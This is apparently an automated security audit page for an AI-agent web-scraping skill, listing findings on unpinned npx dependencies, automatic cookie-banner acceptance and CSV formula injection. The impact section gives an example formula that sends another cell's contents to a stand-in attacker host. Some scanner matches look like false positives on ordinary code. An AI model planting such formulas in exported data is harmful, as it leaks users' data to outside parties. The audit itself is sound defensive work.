Back to skill

Security audit

DataLens Web Scraper

Security checks for vulnerabilities and agentic risk

Overview

ClawScan rates this skill suspicious because scanners report an unpinned Playwright CLI that may run a changing release, automatic acceptance of cookie banners, and a spreadsheet formula injection risk; analysis covered only part of the package.

Treat this as a review decision, not a claim that the author is malicious. Before installing, consider whether you trust a skill whose package can run a changing CLI release, whose example may alter cookie consent, and whose scraped CSV output may contain active spreadsheet formulas. The scan was partial: only 14 of 34 components were fully inspected, and some static analysis was degraded, so the evidence is incomplete.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/lib/csv.mjs
Finding

Untrusted scraped text is exported as executable spreadsheet formulas

Content
View full analysis

Impact

Attacker-controlled cells can execute spreadsheet formulas rather than display literal text. In compatible spreadsheet environments that allow external-data formulas, a value such as =WEBSERVICE("https://attacker.example/collect?v="&B2) can transmit another cell's contents to an attacker-controlled endpoint. Such network effects depend on spreadsheet support and security settings; arbitrary operating-system command execution is not established.

Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Output HandlingUnvalidated Output Injection, Cross-Context Output, Unbounded Output
Findings (24)

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 40)May include surrounding context.

md
o not page through a site by hand with repeated `inspect` calls — that is what `collect.mjs` is for.

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 65)May include surrounding context.

md
6. **Preview** — `node scripts/collect.mjs cfg.json --out /tmp/preview.csv --max-pages 2`, then `node scripts/verify.mjs /tmp/preview.csv`. Fix every WARN you c

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 66)May include surrounding context.

md
7. **Run** — `node scripts/collect.mjs cfg.json --out <name>.csv`, then `verify.mjs` again. Raise `maxPages` (default 50) if the user wants more. The CSV and su

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 48)May include surrounding context.

md
1. **Look** — `node scripts/inspect.mjs <url>`

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 65)May include surrounding context.

md
scripts/collect.mjs cfg.json --out /tmp/preview.csv --max-pages 2`, then `node scripts/verify.mjs /tmp/preview.csv`. Fix every WARN you can explain (wrong sele

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 66)May include surrounding context.

md
7. **Run** — `node scripts/collect.mjs cfg.json --out <name>.csv`, then `verify.mjs` again. Raise `maxPages` (default 50) if the user wants more. The CSV and su

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 69)May include surrounding context.

md
aims a bigger total than could be loaded). Before reporting, every `WARN` from `verify.mjs` needs either a fix or a sentence in the report: a `NOT THE END` warn

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 68)May include surrounding context.

md
, id or price). Write `detail.json` (Config → Detail pages), preview with `node scripts/detail.mjs list.csv detail.json --out /tmp/detail-preview.csv --max-rows

Incomplete referenced artifact analysis

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 138)May include surrounding context.

md
`detail.json` for `scripts/detail.mjs list.csv detail.json --out full.csv [--max-rows N] [--browser bundled|chrome] [--session NAME] [--retry-empty]`:

YARA rule 'info_stealer': Information stealer patterns (credential harvesting, browser data theft) [malware]

High
Category
YARA Match
Confidence
75% confidence
Finding

YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Content

Scanner excerpt · references/index.mjs (reported line 3)May include surrounding context.

js
hand.
export const REFERENCES = {
  "browser": "# Using the user's own Chrome\n\nBy default the scripts start their own headless browser: fast, invisible, no setup. Many sites block it — the browser has no history, no logins and looks automated — and some only show data to logged-in users. In those cases the scripts can run in the user's own Chrome instead, as the user, with their logins and cookies.\n\n## When to switch\n\n- `inspect` prints `BLOCKED` (bot check, \"access denied\", captcha, 403 page), or `collect` stops with `blocked`.\n- `inspect` prints `LOGIN?` and there is no popup to close, or `collect` stops with `login-wall`, and the user wants data that needs their account.\n- The page shows less than the user sees in their own browser (region or account-specific content).\n\n**Ask the user first.** Their Chrome acts with their accounts, and the scripts drive a Chrome tab they can see. Don't switch silently, and don't use it to get around a captcha or a login on their beh

Hidden Instructions

High
Category
Prompt Injection
Confidence
85% confidence
Finding

Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.

Content

Scanner excerpt · scripts/lib/row-identity.mjs (reported line 16)May include surrounding context.

js
* (incl. Arabic ٫ ٬), percent (incl. ٪), brackets, colon (clocks, scores), currency symbols, bidi marks
   * around digits on RTL pages, and their full-width forms.
   */
  const NUMERIC_DECORATION = /[\s+\-−±.,'’%‰٪٫٬():\p{Sc}‎‏؜‪-‮⁦-⁩+-.,%:()]/gu
  const DIGIT = /\p{Nd}/u
  const DIGITS = /\p{Nd}/gu
  /** Digit-dash-digit (2024-01-03, 10-20): the record's own date or range, not a live value. */

Anti-Refusal Statement

High
Category
Anti-Refusal
Confidence
80% confidence
Finding

Skill instructs the agent to omit warnings, disclaimers, or ethical commentary. Stripping safety caveats hides risk from the user and is a common jailbreak preamble.

Content

Scanner excerpt · scripts/lib/verifier.mjs (reported line 128)May include surrounding context.

js
lines.push('LAST ROWS')
  for (const r of rows.slice(-3)) lines.push('  ' + r.map(v => (v.length > 40 ? v.slice(0, 40) + '…' : v)).join(' | '))
  const warnings = lines.filter(l => l.startsWith('WARN')).map(l => l.slice(6))
  if (!warnings.length) lines.push('', 'OK  no warnings')
  if (notes.length) lines.push('', ...notes)
  return { lines, warnings, notes: notes.map(n => n.slice(6)) }
}

Skill declares no tool scope ('permissions' or 'allowed-tools') but code capabilities were detected: env, network.

Medium
Category
MCP Least Privilege
Confidence
70% confidence
Finding

Without declared permissions the skill's intent is opaque and cannot be validated.

Content

No source excerpt is available for this finding.

MCP server referenced without pinned version: 'npx @playwright/cli'.

Medium
Category
MCP Rug Pull
Confidence
98% confidence
Finding

The documented default uses @playwright/cli@latest, allowing future package releases to execute without a reviewed version boundary. A compromised release could execute with local user privileges and potentially access the authenticated browser connection, although this is a CLI dependency rather than necessarily an MCP server.

Content

No source excerpt is available for this finding.

MCP server referenced without pinned version: 'npx playwright'.

Medium
Category
MCP Rug Pull
Confidence
70% confidence
Finding

npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.

Content

No source excerpt is available for this finding.

The example scraping config automatically accepts a cookie banner without warning about changing privacy consent.

Medium
Category
Output Handling
Confidence
91% confidence
Finding

The example treats accepting cookies as routine popup dismissal, although acceptance can enable optional tracking rather than merely close an overlay. If reused in the user's Chrome, it can persist a privacy-consent change in their real browser profile without specific authorization.

Content

No source excerpt is available for this finding.

MCP server referenced without pinned version: 'npx -y @playwright/cli'.

Medium
Category
MCP Rug Pull
Confidence
99% confidence
Finding

The instructions explicitly use npx -y @playwright/cli@latest, allowing an unreviewed release to be downloaded and executed without an installation prompt. Because this CLI connects to the user's authenticated Chrome session, a compromised release could affect both the local machine and account-backed browser activity; asking permission to connect does not mitigate package compromise.

Content

No source excerpt is available for this finding.

MCP server referenced without pinned version: 'npx -y @playwright/cli'.

Medium
Category
MCP Rug Pull
Confidence
97% confidence
Finding

The documentation specifies npx -y @playwright/cli@latest, which automatically downloads and executes a mutable package version rather than a reviewed, fixed release. A compromised or malicious future release could execute with the user's local privileges; its intended connection to an authenticated Chrome session increases the potential exposure, although this file only documents the command and does not execute it.

Content

No source excerpt is available for this finding.

MCP server referenced without pinned version: 'npx -y @playwright/cli'.

Medium
Category
MCP Rug Pull
Confidence
97% confidence
Finding

The host reference repeats the instruction to run npx -y @playwright/cli@latest, creating the same mutable-dependency execution risk as the first finding rather than a separate exploit mechanism. Automatic acceptance allows a newly published compromised version to run without review, potentially exposing local files and authenticated browser activity.

Content

No source excerpt is available for this finding.

MCP server referenced without pinned version: 'npx -y @playwright/cli'.

Medium
Category
MCP Rug Pull
Confidence
99% confidence
Finding

The executable default invokes npx -y @playwright/cli@latest, making the trusted program depend on a mutable registry tag. A compromised release executes with the inherited process environment, potentially including the extension token and other secrets, and can control the connected authenticated browser.

Content

No source excerpt is available for this finding.

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
75% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · scripts/lib/collector.mjs (reported line 244)May include surrounding context.

js
/**
   * The host's stop (the user, the points budget), asked between pages and between expand passes: a record's
   * own pager (hundreds of pages of replies) keeps one round going for a long time. → whether to stop now;
   * the reason is the run's stop reason, and whoever called harvest() ends the run without asking anything more.
   */
  async function hostStops() {
    const external = await shouldStop(rows.length)

Ae4

Medium
Category
analysis-evasion
Confidence
80% confidence
Finding

Suspicious Unicode normalization or mixed-script content

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
80% confidence
Finding

The caret range permits dependency changes during fresh resolution, so the manifest alone does not ensure that installations use a reviewed Playwright release. This is a conditional supply-chain reproducibility weakness, not evidence of a compromised dependency; an enforced lockfile could substantially mitigate it.

Content

Scanner excerpt · package.json (reported line 24)May include surrounding context.

json
"test": "node --test scripts/references-sync.test.mjs scripts/verifier-links.test.mjs scripts/inspect-report.test.mjs scripts/collector-order.test.mjs scripts/expand-opened-record.test.mjs scripts/expand-host-stop.test.mjs scripts/wait-for-page.test.mjs scripts/scroll-and-columns.test.mjs scripts/row-identity.test.mjs scripts/confirm-stop.test.mjs scripts/collect-chunks.test.mjs scripts/collect-resume.test.mjs scripts/verifier-stop.test.mjs scripts/detail-plan.test.mjs scripts/detail-run.test.mjs scripts/resume-at.test.mjs scripts/browser-safe.test.mjs scripts/fixtures-guard.test.mjs scripts/detail-pages.test.mjs"
  },
  "dependencies": {
    "playwright": "^1.56.1"
  },
  "license": "MIT"
}

Unverifiable Dependency: playwright has 1 known advisory(ies) (CVE-2025-59288 (Playwright downloads and installs browsers without verifying the authenticity of)), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
40% confidence
Finding

OSV returned advisories for this package, but its resolved version is unknown. A package-name lookup does not establish whether the installed release is affected by those advisories.

Content

No source excerpt is available for this finding.